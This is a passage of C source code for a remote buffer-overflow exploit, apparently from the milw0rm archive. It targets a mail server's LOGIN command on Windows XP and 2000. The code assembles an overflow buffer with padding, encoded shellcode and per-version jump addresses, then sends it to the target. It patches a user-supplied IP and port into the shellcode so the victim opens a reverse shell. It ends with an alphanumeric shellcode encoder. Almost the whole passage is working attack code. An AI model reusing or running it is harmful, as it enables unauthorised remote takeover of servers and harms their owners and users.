2000 SP3\n" "4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n" "Read comments in source code for more info.\n" "Coded by nolimit@CiSO and BuzzDee.\n",argv[0],argv[0]); return 1; } if(argc==6) port = atoi(argv[5]); WSAStartup(0x0202, &wsaData); printf("[*] Target:\t%s \tPort: %d\n\n",argv[4],port); ip=gimmeip(argv[4]); targetTCP.sin_family = AF_INET; targetTCP.sin_addr.s_addr = ip; targetTCP.sin_port = htons(port); //set ip/port specified. Probably could have done this easier, but whatever. unsigned long revIp = gimmeip(argv[1]); unsigned long *revPtr = (unsigned long *)&unEncShellcode; revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160 bytes away. *revPtr = revIp; char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past int rPort = atoi(argv[2]); char *revPortPtr = (char *)&rPort; memcpy(portPtr,revPortPtr+1,1); memcpy(portPtr+1,revPortPtr,1); //done formatting, now lets encode it. char *shellcode = alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode)); paddingSize = 676 - strlen(shellcode); //form buffer here. memset(buffer,'\x00',2500); strcpy(buffer,"A001 LOGIN user@"); memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide strcat(buffer,shellcode); strcat(buffer,"r!s!"); //jmp over SE handler switch(atoi(argv[3])) { case 1: printf("[*] Targetting Windows XP SP 0..\n"); strcat(buffer,jmpXPSP0); break; case 2: printf("[*] Targetting Windows 2000 SP4..\n"); strcat(buffer,jmp2KSP4); break; case 3: printf("[*] Targetting Windows 2000 SP3..\n"); strcat(buffer,jmp2KSP3); break; case 4: printf("[*] Targetting Windows 2000 SP2..\n"); strcat(buffer,jmp2KSP2); break; case 5: printf("[*] Targetting Windows 2000 SP1..\n"); strcat(buffer,jmp2KSP1); break; case 6: printf("[*] Targetting Windows 2000 SP0..\n"); strcat(buffer,jmp2KSP0); break; default: printf("Target error.\n"); return 1; break; } memset(buffer+strlen(buffer),'\x41',29); strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer memset(buffer+strlen(buffer),'\x41',1323); strcat(buffer," nolimits\r\n"); //buffer formed if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("[x] Socket not initialized! Exiting...\n"); WSACleanup(); return 1; } printf("[*] Socket initialized...\n"); if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0) { printf("[*] Connection to host failed! Exiting...\n"); WSACleanup(); exit(1); } printf("[*] Sending buffer.\n"); Sleep(1000); if (send(sockTCP, buffer, strlen(buffer),0) == -1) { printf("[x] Failed to inject packet! Exiting...\n"); WSACleanup(); return 1; } Sleep(1000); closesocket(sockTCP); WSACleanup(); printf("Exploit sent. Reverse Shell should be comming if everyhing worked.\n"); return 0; } /*********************************************************************************/ long gimmeip(char *hostname) { struct hostent *he; long ipaddr; if ((ipaddr = inet_addr(hostname)) < 0) { if ((he = gethostbyname(hostname)) == NULL) { printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname); WSACleanup(); exit(1); } memcpy(&ipaddr, he->h_addr, he->h_length); } return ipaddr; } /*********************************************************************************/ //Below here, all code is modified code from ALPHA 2: Zero-tolerance by Berend-Jan Wever. // aka Skylined <skylined@edup.tudelft.nl>. Hats off to him. //ecx ascii decoder. #define ecx_mixedcase_ascii_decoder "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI" // shellcode ptr & size char* alphaEncodeShellcode(char *shellcode, int size) { int i, input, A, B, C, D, E, F; char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; //first, create a big enough shellcode memory section char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder) + (size * 2))); strcpy(encShellcode,ecx_mixedcase_ascii_decoder); char buff[4]; int z=0; for(;z < size;z++) { // encoding AB -> CD 00 EF 00 A = (shellcode[z] & 0xf0) >> 4; B = (shellcode[z] & 0x0f); F = B; // E is arbitrary as long as EF is a valid character i = rand() % strlen(valid_chars); while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); } E = valid_chars[i] >> 4; // normal code uses xor, unicode-proof uses ADD. // AB -> D = 0 ? (A-E) & 0x0f : (A^E); // C is arbitrary as long as CD is a valid character i = rand() % strlen(valid_chars); while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); } C = valid_chars[i] >> 4; //edit, use curChar ptr to strncpy it. //printf("%c%c", (C<<4)+D, (E<<4)+F); sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F); strcat(encShellcode,buff); } return encShellcode; } // milw0rm.com [2005-06-07]